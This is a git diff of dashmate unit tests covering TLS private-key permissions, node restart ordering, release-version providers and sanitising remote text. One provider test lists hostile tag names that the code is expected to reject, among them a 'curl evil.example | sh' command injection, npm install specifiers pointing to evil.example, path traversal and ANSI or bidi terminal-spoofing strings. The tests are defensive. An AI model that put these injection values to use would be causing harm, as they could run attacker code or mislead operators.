analyseConfig(samples) + .find((item) => item.getDescription().includes('private key')); + + expect(problem).to.exist(); + expect(problem.getDescription()).to.include('600'); + expect(problem.getSolution()).to.include('chmod 600'); + expect(problem.getSeverity()).to.equal(SEVERITY.HIGH); + }); + + it('should report a problem when the private key is readable by the group', () => { + samples.setServiceInfo('gateway', 'sslPrivateKeyMode', 0o640); + + expect(analyseConfig(samples) + .find((item) => item.getDescription().includes('private key'))).to.exist(); + }); + + it('should report nothing when the private key is accessible to its owner only', () => { + samples.setServiceInfo('gateway', 'sslPrivateKeyMode', 0o600); + + expect(analyseConfig(samples) + .find((item) => item.getDescription().includes('private key'))).to.be.undefined(); + }); + + // Doctor analyses archives collected by an older dashmate, which recorded + // no mode at all, and a node whose key has not been obtained yet has none + it('should report nothing when no private key mode was collected', () => { + expect(analyseConfig(samples) + .find((item) => item.getDescription().includes('private key'))).to.be.undefined(); + }); + }); }); diff --git a/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js index 59f19b102f2..3b59c8a10fe 100644 --- a/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js +++ b/packages/dashmate/test/unit/listr/tasks/doctor/collectSamplesTaskFactory.spec.js @@ -87,7 +87,12 @@ describe('collectSamplesTaskFactory', () => { fs.mkdirSync(sslDir, { recursive: true }); fs.writeFileSync(path.join(sslDir, 'csr.pem'), 'csr', 'utf8'); - fs.writeFileSync(path.join(sslDir, 'private.key'), 'private key', 'utf8'); + // Dashmate writes the key accessible to its owner only, and doctor reports + // one that is not - so the fixture has to be what a healthy node has + fs.writeFileSync(path.join(sslDir, 'private.key'), 'private key', { + encoding: 'utf8', + mode: 0o600, + }); fs.writeFileSync(path.join(sslDir, 'bundle.crt'), 'bundle', 'utf8'); getCertificate = this.sinon.stub(); @@ -357,4 +362,39 @@ describe('collectSamplesTaskFactory', () => { expect(samples.getServiceInfo('gateway', 'metrics')).to.equal('metrics_sample 1'); }); + + describe('gateway TLS private key permissions', () => { + /** + * @return {string} + */ + function keyFilePath() { + return homeDir.joinPath(config.getName(), 'platform', 'gateway', 'ssl', 'private.key'); + } + + beforeEach(() => { + getCertificate.resolves(new Certificate({ + id: 'certificate-id', + common_name: EXTERNAL_IP, + status: 'issued', + created: toZeroSslDate(daysFromNow(-1)), + expires: toZeroSslDate(daysFromNow(89)), + })); + }); + + it('should collect the mode of the gateway TLS private key', async () => { + fs.chmodSync(keyFilePath(), 0o644); + + await collectSamples(); + + expect(samples.getServiceInfo('gateway', 'sslPrivateKeyMode')).to.equal(0o644); + }); + + it('should collect nothing when there is no private key', async () => { + fs.rmSync(keyFilePath()); + + await collectSamples(); + + expect(samples.getServiceInfo('gateway', 'sslPrivateKeyMode')).to.be.undefined(); + }); + }); }); diff --git a/packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js new file mode 100644 index 00000000000..6cc94e2d995 --- /dev/null +++ b/packages/dashmate/test/unit/listr/tasks/restartNodeTaskFactory.spec.js @@ -0,0 +1,84 @@ +import { Listr } from 'listr2'; +import restartNodeTaskFactory from '../../../../src/listr/tasks/restartNodeTaskFactory.js'; +import getConfigMock from '../../../../src/test/mock/getConfigMock.js'; + +describe('restartNodeTask', () => { + let config; + let dockerCompose; + let startNodeTask; + let stopNodeTask; + let buildServicesTask; + let getConfigProfiles; + let restartNodeTask; + + beforeEach(function it() { + config = getConfigMock(this.sinon); + config.get.withArgs('dashmate.helper.docker.build.enabled').returns(false); + config.get.withArgs('platform.drive.abci.docker.build.enabled').returns(false); + config.get.withArgs('platform.dapi.rsDapi.docker.build.enabled').returns(false); + + dockerCompose = { + pullMissingImages: this.sinon.stub().resolves([]), + }; + + getConfigProfiles = this.sinon.stub().returns(['core', 'platform', 'platform-dapi-rs']); + + startNodeTask = this.sinon.stub().returns(new Listr([{ task: () => {} }])); + stopNodeTask = this.sinon.stub().returns(new Listr([{ task: () => {} }])); + buildServicesTask = this.sinon.stub().returns(new Listr([{ task: () => {} }])); + + restartNodeTask = restartNodeTaskFactory( + startNodeTask, + stopNodeTask, + buildServicesTask, + dockerCompose, + getConfigProfiles, + ); + }); + + it('should not stop running services when a required image can not be pulled', async () => { + dockerCompose.pullMissingImages.rejects( + new Error('Failed to pull image dashpay/drive:4: no space left on device'), + ); + + await expect(restartNodeTask(config).run({})) + .to.be.rejectedWith('no space left on device'); + + expect(stopNodeTask).to.have.not.been.called(); + expect(startNodeTask).to.have.not.been.called(); + }); + + it('should make sure all images are present before stopping the node', async () => { + await restartNodeTask(config).run({}); + + expect(dockerCompose.pullMissingImages).to.have.been.calledOnce(); + expect(dockerCompose.pullMissingImages.firstCall.args[0]).to.equal(config); + expect(dockerCompose.pullMissingImages.firstCall.args[1].profiles).to.deep.equal([]); + expect(dockerCompose.pullMissingImages).to.have.been.calledBefore(stopNodeTask); + expect(stopNodeTask).to.have.been.calledOnceWithExactly(config); + expect(startNodeTask).to.have.been.calledOnceWithExactly(config); + }); + + it('should not pull images of services a platform only restart leaves alone', async () => { + await restartNodeTask(config).run({ platformOnly: true }); + + expect(dockerCompose.pullMissingImages.firstCall.args[1].profiles) + .to.deep.equal(['platform', 'platform-dapi-rs']); + }); + + it('should report pull progress while the node is still running', async () => { + dockerCompose.pullMissingImages.callsFake(async (pullConfig, { onProgress }) => { + onProgress('dashpay/drive:4: Downloading [====> ] 12MB/45MB'); + + return []; + }); + + const tasks = restartNodeTask(config); + + await tasks.run({}); + + const [pullTask] = tasks.tasks.filter((task) => task.title === 'Pull missing images'); + + expect(pullTask.output).to.equal('dashpay/drive:4: Downloading [====> ] 12MB/45MB'); + }); +}); diff --git a/packages/dashmate/test/unit/listr/tasks/startGroupNodesTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/startGroupNodesTaskFactory.spec.js index e83868ae9e0..04a70263589 100644 --- a/packages/dashmate/test/unit/listr/tasks/startGroupNodesTaskFactory.spec.js +++ b/packages/dashmate/test/unit/listr/tasks/startGroupNodesTaskFactory.spec.js @@ -189,4 +189,43 @@ describe('startGroupNodesTaskFactory', () => { expect(dependencies.waitForNodesToHaveTheSameHeight).to.not.have.been.called(); expect(dependencies.dockerCompose.execCommand).to.not.have.been.called(); }); + + describe('building services from local sources', () => { + /** + * @param {Object} sinon + * @return {Object} + */ + function createBuildingConfig(sinon) { + const config = createConfig(sinon, 'local_seed', 19998, 'local'); + + config.get.withArgs('platform.enable').returns(true); + config.get.withArgs('platform.drive.abci.docker.build.enabled').returns(true); + + return config; + } + + it('should build the images of a group configured to build them', async function it() { + const configs = [createBuildingConfig(this.sinon)]; + const { dependencies, startGroupNodesTask } = createFactory(this.sinon); + + await startGroupNodesTask(configs).run({ waitForReadiness: false }); + + expect(dependencies.buildServicesTask).to.have.been.calledOnceWith(configs[0]); + }); + + // Restart builds the images before it stops anything, so that a build + // failure cannot leave the group down. Building them again here would make + // every restart of a development group pay for the whole build twice. + it('should not build again for a caller that has already built', async function it() { + const configs = [createBuildingConfig(this.sinon)]; + const { dependencies, startGroupNodesTask } = createFactory(this.sinon); + + await startGroupNodesTask(configs).run({ + waitForReadiness: false, + skipBuildServices: true, + }); + + expect(dependencies.buildServicesTask).to.not.have.been.called(); + }); + }); }); diff --git a/packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js b/packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js new file mode 100644 index 00000000000..4d9756487bf --- /dev/null +++ b/packages/dashmate/test/unit/listr/tasks/startNodeTaskFactory.spec.js @@ -0,0 +1,113 @@ +import fs from 'fs'; +import path from 'path'; +import HomeDir from '../../../../src/config/HomeDir.js'; +import startNodeTaskFactory from '../../../../src/listr/tasks/startNodeTaskFactory.js'; + +describe('startNodeTaskFactory', () => { + const configName = 'local'; + + let homeDir; + let config; + let keyFilePath; + let startNodeTask; + + beforeEach(function beforeEach() { + homeDir = HomeDir.createTemp(); + + const options = { + 'core.miner.enable': false, + network: 'testnet', + 'core.log.filePath': null, + 'platform.enable': true, + 'platform.drive.abci.logs': {}, + 'platform.gateway.log.accessLogs': [], + 'platform.drive.tenderdash.log.path': null, + 'platform.dapi.rsDapi.logs.accessLogPath': null, + }; + + config = { + getName: this.sinon.stub().returns(configName), + get: this.sinon.stub().callsFake((option) => options[option]), + }; + + keyFilePath = homeDir.joinPath(configName, 'platform', 'gateway', 'ssl', 'private.key'); + + startNodeTask = startNodeTaskFactory( + {}, // dockerCompose + this.sinon.stub(), // waitForCorePeersConnected + this.sinon.stub(), // waitForMasternodesSync + this.sinon.stub(), // createRpcClient + this.sinon.stub(), // buildServicesTask + this.sinon.stub(), // getConnectionHost + this.sinon.stub(), // ensureFileMountExists + homeDir, + this.sinon.stub().returns([]), // getConfigProfiles + ); + }); + + afterEach(() => { + homeDir.remove(); + }); + + /** + * @returns {number} + */ + function getPermissions() { + // eslint-disable-next-line no-bitwise + return fs.statSync(keyFilePath).mode & 0o777; + } + + /** + * @param {number} mode + */ + function createPrivateKeyFile(mode) { + fs.mkdirSync(path.dirname(keyFilePath), { recursive: true }); + fs.writeFileSync(keyFilePath, 'PRIVATE KEY', 'utf8'); + fs.chmodSync(keyFilePath, mode); + } + + it('should restrict access to a world-readable gateway TLS private key', () => { + createPrivateKeyFile(0o644); + + startNodeTask(config); + + expect(getPermissions()).to.equal(0o600); + }); + + it('should keep an already restricted private key untouched', () => { + createPrivateKeyFile(0o600); + + startNodeTask(config); + + expect(getPermissions()).to.equal(0o600); + }); + + // The same rule the certificate writers follow: only the group and world bits + // are dropped, so an owner who hardened the key further is not undone by a start + it('should keep a private key mode stricter than Dashmate would choose', () => { + createPrivateKeyFile(0o400); + + startNodeTask(config); + + expect(getPermissions()).to.equal(0o400); + }); + + it('should not create a private key file if there is none', () => { + startNodeTask(config); + + // An empty key file would be indistinguishable from a real one for the + // SSL validation, which decides whether a new certificate has to be obtained + expect(fs.existsSync(keyFilePath)).to.be.false(); + }); + + it('should warn and start anyway if the private key permissions can not be restricted', function it() { + createPrivateKeyFile(0o644); + + const consoleWarn = this.sinon.stub(console, 'warn'); + this.sinon.stub(fs, 'chmodSync').throws(new Error('EPERM: operation not permitted')); + + expect(() => startNodeTask(config)).to.not.throw(); + + expect(consoleWarn).to.be.calledOnce(); + }); +}); diff --git a/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js b/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js index 36302014ad0..eeee7cfb1fc 100644 --- a/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js +++ b/packages/dashmate/test/unit/ssl/saveCertificateTask.spec.js @@ -146,6 +146,32 @@ describe('saveCertificateTaskFactory', () => { expect(mode(keyPath)).to.equal(0o600); }); + // The replacement is written into the inode the exposed key already occupies, + // because the gateway's bind mount follows that inode. Tightening the mode + // only after the write would put the new secret behind the old permissions + // for the length of the write, so it has to happen first. + it('should restrict an exposed private key before writing the new one into it', async function it() { + fs.mkdirSync(certificatesDir, { recursive: true }); + fs.writeFileSync(certificatePath, 'old-certificate'); + fs.writeFileSync(keyPath, 'old-key'); + fs.chmodSync(keyPath, 0o644); + + const modeWhenKeyWasWritten = []; + + const originalWriteFileSync = fs.writeFileSync.bind(fs); + this.sinon.stub(fs, 'writeFileSync').callsFake((filePath, data, options) => { + if (filePath === keyPath) { + modeWhenKeyWasWritten.push(mode(keyPath)); + } + + return originalWriteFileSync(filePath, data, options); + }); + + await savePair(); + + expect(modeWhenKeyWasWritten).to.deep.equal([0o600]); + }); + // Writing in place needs the owner write bit, so a key hardened to 0400 is // loosened for the write. A write that then fails must not leave it that way. it('should keep a hardened private key mode when the write fails', async function it() { diff --git a/packages/dashmate/test/unit/status/providers.spec.js b/packages/dashmate/test/unit/status/providers.spec.js new file mode 100644 index 00000000000..1cdc61a3807 --- /dev/null +++ b/packages/dashmate/test/unit/status/providers.spec.js @@ -0,0 +1,567 @@ +import providers from '../../../src/status/providers.js'; + +// Characters that must never reach a terminal or the JSON output: C0 and C1 controls, +// zero width characters, line separators, bidi overrides and isolates. They are built +// from code points so that nothing invisible is embedded in this file. +const UNSAFE_RANGES = [ + [0x0000, 0x001f], [0x007f, 0x009f], [0x200b, 0x200f], + [0x2028, 0x2029], [0x202a, 0x202e], [0x2066, 0x2069], [0xfeff, 0xfeff], +]; + +const CHAR = { + ESC: String.fromCharCode(0x1b), + BEL: String.fromCharCode(0x07), + NUL: String.fromCharCode(0x00), + CSI: String.fromCharCode(0x9b), + ZWSP: String.fromCharCode(0x200b), + LS: String.fromCharCode(0x2028), + RLO: String.fromCharCode(0x202e), + LRI: String.fromCharCode(0x2066), + PDI: String.fromCharCode(0x2069), +}; + +/** + * Report whether text carries a character that could rewrite or disguise output + * + * @param {string} text + * @returns {boolean} + */ +function hasUnsafeCharacters(text) { + return [...text].some((character) => { + const codePoint = character.codePointAt(0); + + return UNSAFE_RANGES.some(([from, to]) => codePoint >= from && codePoint <= to); + }); +} + +/** + * Build a real Response so the provider exercises the same body handling as production + * + * @param {object|string} body + * @param {object} [init] + * @returns {Response} + */ +function jsonResponse(body, init = {}) { + const payload = typeof body === 'string' ? body : JSON.stringify(body); + + return new Response(payload, { + status: 200, + ...init, + headers: { 'content-type': 'application/json', ...init.headers }, + }); +} + +/** + * Build a response whose body is produced on demand, so the test can observe how much + * of it was actually read and whether it was released + * + * @param {object} [options] + * @param {number} [options.chunkSize] + * @param {number} [options.chunkCount] + * @param {object} [options.init] + * @returns {{response: Response, counters: {pulls: number, cancelled: boolean}}} + */ +function streamingResponse({ chunkSize = 64 * 1024, chunkCount = 64, init = {} } = {}) { + const counters = { pulls: 0, cancelled: false }; + + const body = new ReadableStream({ + pull(controller) { + counters.pulls += 1; + + if (counters.pulls > chunkCount) { + controller.close(); + + return; + } + + controller.enqueue(new Uint8Array(chunkSize).fill(0x41)); + }, + cancel() { + counters.cancelled = true; + }, + }); + + return { + counters, + response: new Response(body, { + status: 200, + ...init, + headers: { 'content-type': 'application/json', ...init.headers }, + }), + }; +} + +/** + * Run a provider call with DEBUG enabled and collect everything it printed + * + * @param {object} sinon + * @param {Function} run + * @returns {Promise<{result: *, logged: string}>} + */ +async function captureWarnings(sinon, run) { + const previousDebug = process.env.DEBUG; + + const warn = sinon.stub(console, 'warn'); + + process.env.DEBUG = '1'; + + try { + const result = await run(); + + return { + result, + logged: warn.getCalls().map((call) => call.args.join(' ')).join(' '), + }; + } finally { + if (previousDebug === undefined) { + delete process.env.DEBUG; + } else { + process.env.DEBUG = previousDebug; + } + } +} + +/** + * Set GITHUB_TOKEN for the duration of a call + * + * @param {string|undefined} token + * @param {Function} run + * @returns {Promise<*>} + */ +async function withToken(token, run) { + const previousToken = process.env.GITHUB_TOKEN; + + if (token === undefined) { + delete process.env.GITHUB_TOKEN; + } else { + process.env.GITHUB_TOKEN = token; + } + + try { + return await run(); + } finally { + if (previousToken === undefined) { + delete process.env.GITHUB_TOKEN; + } else { + process.env.GITHUB_TOKEN = previousToken; + } + } +} + +describe('providers', () => { + let fetchStub; + + beforeEach(function beforeEach() { + fetchStub = this.sinon.stub(globalThis, 'fetch'); + }); + + describe('#github.release', () => { + it('should return the version of a release tag', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('23.0.0'); + }); + + it('should return the version of a prerelease tag', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v4.1.0-rc.3' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('4.1.0-rc.3'); + }); + + it('should return the version of a tag published without a "v" prefix', async () => { + fetchStub.resolves(jsonResponse({ tag_name: '23.0.0' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('23.0.0'); + }); + + it('should drop build metadata from the version', async () => { + // Version comparison ignores build metadata, so keeping it would make a newer + // release compare equal to the installed one, and no package manager resolves it + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0+20260728.deadbee' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.equal('23.0.0'); + }); + + it('should reject a version with leading zeroes', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v01.2.3' })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the connection fails', async () => { + // Native fetch rejects with a TypeError("fetch failed") for connection errors + fetchStub.rejects(new TypeError('fetch failed')); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the request times out', async () => { + // AbortSignal.timeout aborts with a TimeoutError, not an AbortError + fetchStub.rejects( + new DOMException('The operation was aborted due to timeout', 'TimeoutError'), + ); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the request is aborted', async () => { + fetchStub.rejects(new DOMException('The operation was aborted', 'AbortError')); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when the connection drops mid response', async () => { + const body = new ReadableStream({ + start(controller) { + controller.enqueue(new TextEncoder().encode('{"tag_name":')); + controller.error(new TypeError('terminated')); + }, + }); + + fetchStub.resolves(new Response(body, { + status: 200, + headers: { 'content-type': 'application/json' }, + })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null when the API responds with a rate limit error', async () => { + fetchStub.resolves(jsonResponse( + { message: 'API rate limit exceeded' }, + { status: 403 }, + )); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null when a rate limited response is not JSON', async () => { + fetchStub.resolves(new Response('rate limited', { + status: 403, + headers: { 'content-type': 'text/html' }, + })); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should return null instead of throwing when a field holds an object', async function it() { + // Coercing a value shaped like this to a string throws, and that throw escapes + // the provider exactly the way a missing null check does. Diagnostics are the + // likeliest place to coerce a remote field, so this runs with them enabled. + fetchStub.resolves(jsonResponse({ message: { toString: 'x' }, tag_name: { toString: 'x' } })); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(hasUnsafeCharacters(logged)).to.be.false(); + }); + + it('should return null when the response exceeds the maximum size', async () => { + const oversized = JSON.stringify({ + tag_name: 'v23.0.0', + body: 'A'.repeat(2 * 1024 * 1024), + }); + + fetchStub.resolves(jsonResponse(oversized)); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should stop reading an oversized body instead of buffering it', async () => { + // Returning null is not enough: an implementation that reads the whole body and + // measures afterwards does exactly what the limit exists to prevent + const { response, counters } = streamingResponse({ chunkCount: 64 }); + + fetchStub.resolves(response); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + expect(counters.cancelled).to.be.true(); + // 1 MB is 16 chunks of 64 KB, plus the one that crosses the limit + expect(counters.pulls).to.be.at.most(20); + }); + + it('should return null when the response declares an oversized content-length', async () => { + const { response, counters } = streamingResponse({ + init: { headers: { 'content-length': `${8 * 1024 * 1024}` } }, + }); + + fetchStub.resolves(response); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + // The body is never read, so it has to be released rather than left to the GC. + // A stream fills its queue with one chunk on construction, so that one does not + // count as reading; an implementation that read the body would pull many more. + expect(counters.pulls).to.be.at.most(1); + expect(counters.cancelled).to.be.true(); + }); + + it('should release the body of a response it does not read', async () => { + const { response, counters } = streamingResponse({ init: { status: 403 } }); + + fetchStub.resolves(response); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + expect(counters.pulls).to.be.at.most(1); + expect(counters.cancelled).to.be.true(); + }); + + it('should reject a tag name carrying an npm install specifier', async () => { + const vectors = [ + 'vgit+https://evil.example/pkg', + 'git+ssh://git@evil.example/pkg.git', + 'vfile:/tmp/evil', + 'file:../../evil', + 'vnpm:evil@1.0.0', + 'https://evil.example/pkg.tgz', + 'v1.2.3 && curl evil.example | sh', + 'v../../../etc/passwd', + 'v-1.2.3', + 'v1.2', + 'vlatest', + ]; + + const results = []; + + for (const tagName of vectors) { + fetchStub.resolves(jsonResponse({ tag_name: tagName })); + + results.push([tagName, await providers.github.release('dashpay/dash')]); + } + + expect(results).to.deep.equal(vectors.map((tagName) => [tagName, null])); + }); + + it('should reject a tag name containing control or ANSI escape characters', async () => { + const vectors = [ + // ANSI erase line and carriage return: rewrites the operator's terminal line + `v1.2.3${CHAR.ESC}[2K\rInstalled 9.9.9`, + // ANSI colour escape + `v1.2.3${CHAR.ESC}[31m`, + // terminal bell + `v1.2.3${CHAR.BEL}`, + // newline: forges an extra line for anything reading the output line by line + 'v1.2.3\n{"latestVersion":"9.9.9"}', + // C1 control introducer, which some terminals treat as the start of a sequence + `v1.2.3${CHAR.CSI}[31m`, + // NUL + `v1.2.3${CHAR.NUL}`, + // right to left override and bidi isolates reorder what is displayed + `v1.2.3${CHAR.RLO}9.9.9`, + `v1.2.3${CHAR.LRI}9.9.9${CHAR.PDI}`, + // zero width space and line separator + `v1.2.3${CHAR.ZWSP}9`, + `v1.2.3${CHAR.LS}forged`, + ]; + + const results = []; + + for (const tagName of vectors) { + fetchStub.resolves(jsonResponse({ tag_name: tagName })); + + results.push([tagName, await providers.github.release('dashpay/dash')]); + } + + expect(results).to.deep.equal(vectors.map((tagName) => [tagName, null])); + }); + + it('should return null when the release has no tag name', async () => { + fetchStub.resolves(jsonResponse({})); + + const version = await providers.github.release('dashpay/dash'); + + expect(version).to.be.null(); + }); + + it('should not print control characters from a response it could not parse', async function it() { + // The JSON parser quotes the payload it choked on, which carries remote bytes + // into the log even though the value itself is rejected + const forgery = `${CHAR.ESC}[2K\rdashmate is up to date${CHAR.ESC}[0m <-- forged`; + + fetchStub.resolves(jsonResponse(forgery)); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(hasUnsafeCharacters(logged)).to.be.false(); + }); + + it('should not print control characters from a rejected tag name', async function it() { + const forgery = `v9.9.9${CHAR.ESC}[2K\r${CHAR.RLO}forged${CHAR.ZWSP}${CHAR.LS}`; + + fetchStub.resolves(jsonResponse({ tag_name: forgery })); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(hasUnsafeCharacters(logged)).to.be.false(); + }); + + it('should bound the length of what it prints about a tag name', async function it() { + // The response size limit is the only other bound, and it allows a megabyte + const tagName = `v1.2.3-${'a'.repeat(900 * 1024)}`; + + fetchStub.resolves(jsonResponse({ tag_name: tagName })); + + const { result, logged } = await captureWarnings( + this.sinon, + () => providers.github.release('dashpay/dash'), + ); + + expect(result).to.be.null(); + expect(logged.length).to.be.at.most(300); + }); + + it('should authenticate with GITHUB_TOKEN when it is present', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + await withToken('ghp_testtoken', () => providers.github.release('dashpay/dash')); + + const [url, options] = fetchStub.firstCall.args; + + expect(url).to.equal('https://api.github.com/repos/dashpay/dash/releases/latest'); + expect(options.headers).to.have.property('Authorization', 'Bearer ghp_testtoken'); + }); + + it('should authenticate with a GITHUB_TOKEN read from a file', async () => { + // A token captured with $(cat token) keeps its trailing newline, which is an + // illegal header value: the request would fail and look like an unreachable host + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + const version = await withToken( + 'ghp_testtoken\n', + () => providers.github.release('dashpay/dash'), + ); + + const [, options] = fetchStub.firstCall.args; + + expect(() => new Headers(options.headers)).to.not.throw(); + expect(options.headers).to.have.property('Authorization', 'Bearer ghp_testtoken'); + expect(version).to.equal('23.0.0'); + }); + + it('should not send an Authorization header without GITHUB_TOKEN', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + await withToken(undefined, () => providers.github.release('dashpay/dash')); + + const [url, options] = fetchStub.firstCall.args; + + expect(url).to.equal('https://api.github.com/repos/dashpay/dash/releases/latest'); + expect(options.headers).to.be.an('object'); + expect(options.headers).to.not.have.property('Authorization'); + }); + + it('should not send an Authorization header for a blank GITHUB_TOKEN', async () => { + fetchStub.resolves(jsonResponse({ tag_name: 'v23.0.0' })); + + await withToken(' ', () => providers.github.release('dashpay/dash')); + + const [, options] = fetchStub.firstCall.args; + + expect(options.headers).to.be.an('object'); + expect(options.headers).to.not.have.property('Authorization'); + }); + }); + + describe('#insight.status', () => { + it('should return the status', async () => { + fetchStub.resolves(jsonResponse({ info: { blocks: 1337 } })); + + const status = await providers.insight('testnet').status(); + + expect(status).to.deep.equal({ info: { blocks: 1337 } }); + }); + + it('should return null for an unknown chain', async () => { + const status = await providers.insight('regtest').status(); + + expect(status).to.be.null(); + }); + + it('should return null instead of throwing when the connection fails', async () => { + fetchStub.rejects(new TypeError('fetch failed')); + + const status = await providers.insight('testnet').status(); + + expect(status).to.be.null(); + }); + + it('should return null when the response exceeds the maximum size', async () => { + fetchStub.resolves(jsonResponse(JSON.stringify({ + info: { blocks: 1 }, + body: 'A'.repeat(2 * 1024 * 1024), + }))); + + const status = await providers.insight('testnet').status(); + + expect(status).to.be.null(); + }); + + it('should return null when the host answers with something other than a status', async () => { + // A maintenance or CDN page served with a 200 arrives here as valid JSON, and + // the caller reads the block height without re-checking that it is one + const vectors = ['{}', '{"error":"maintenance"}', '[]', '"ok"', '42', 'null', + '{"info":null}', '{"info":{}}', '{"info":{"blocks":"1337"}}', + '{"info":{"blocks":1.5}}', '{"info":{"blocks":-1}}']; + + const results = []; + + for (const payload of vectors) { + fetchStub.resolves(jsonResponse(payload)); + + results.push([payload, await providers.insight('testnet').status()]); + } + + expect(results).to.deep.equal(vectors.map((payload) => [payload, null])); + }); + + it('should return null when the block height is text carrying escape sequences', async () => { + fetchStub.resolves(jsonResponse({ + info: { blocks: `${CHAR.ESC}[2K\rBLOCK HEIGHT SPOOFED` }, + })); + + const status = await providers.insight('testnet').status(); + + expect(status).to.be.null(); + }); + }); +}); diff --git a/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js b/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js new file mode 100644 index 00000000000..0f02bc0ca06 --- /dev/null +++ b/packages/dashmate/test/unit/util/sanitizeRemoteText.spec.js @@ -0,0 +1,64 @@ +import sanitizeRemoteText from '../../../src/util/sanitizeRemoteText.js'; + +describe('sanitizeRemoteText', () => { + it('should keep an ordinary registry message as it is', () => { + expect(sanitizeRemoteText('toomanyrequests: You have reached your pull rate limit')) + .to.equal('toomanyrequests: You have reached your pull rate limit'); + }); + + // ESC starts every ANSI sequence, and one printed as it arrives can erase the + // screen, move the cursor over lines already written or address the terminal + it('should remove escape sequences', () => { + const escape = String.fromCharCode(0x1b); + + const sanitized = sanitizeRemoteText(`${escape}[2J${escape}[1;1Hdenied`); + + expect(sanitized).to.not.contain(escape); + expect(sanitized).to.contain('denied'); + }); + + it('should collapse a message spread over several lines onto one', () => { + expect(sanitizeRemoteText('denied\n\tby the registry')).to.equal('denied by the registry'); + }); + + // An unbounded message pushes everything else out of the operator's scrollback + it('should bound the length and say that it did', () => { + const sanitized = sanitizeRemoteText('A'.repeat(5000)); + + expect(sanitized).to.have.lengthOf.below(600); + expect(sanitized).to.match(/^A+ \(truncated\)$/); + }); + + it('should pass through anything that is not a string', () => { + expect(sanitizeRemoteText(undefined)).to.be.undefined(); + expect(sanitizeRemoteText(null)).to.equal(null); + }); + + describe('invisible and bidi characters', () => { + // Each of these is invisible or reorders what follows it, so a registry can + // use them to hide text in a message an operator is reading to decide what + // to do next. They are named by code point because writing them literally + // makes this file itself unreadable. + const HIDDEN = { + ESC: 0x1b, + CR: 0x0d, + DEL: 0x7f, + LRM: 0x200e, + ALM: 0x061c, + RLO: 0x202e, + ZWSP: 0x200b, + ZWJ: 0x200d, + LS: 0x2028, + PS: 0x2029, + BOM: 0xfeff, + }; + + Object.entries(HIDDEN).forEach(([name, codePoint]) => { + it(`should not let a registry hide text behind ${name}`, () => { + const text = `left${String.fromCodePoint(codePoint)}right`; + + expect(sanitizeRemoteText(text)).to.equal('left right'); + }); + }); + }); +});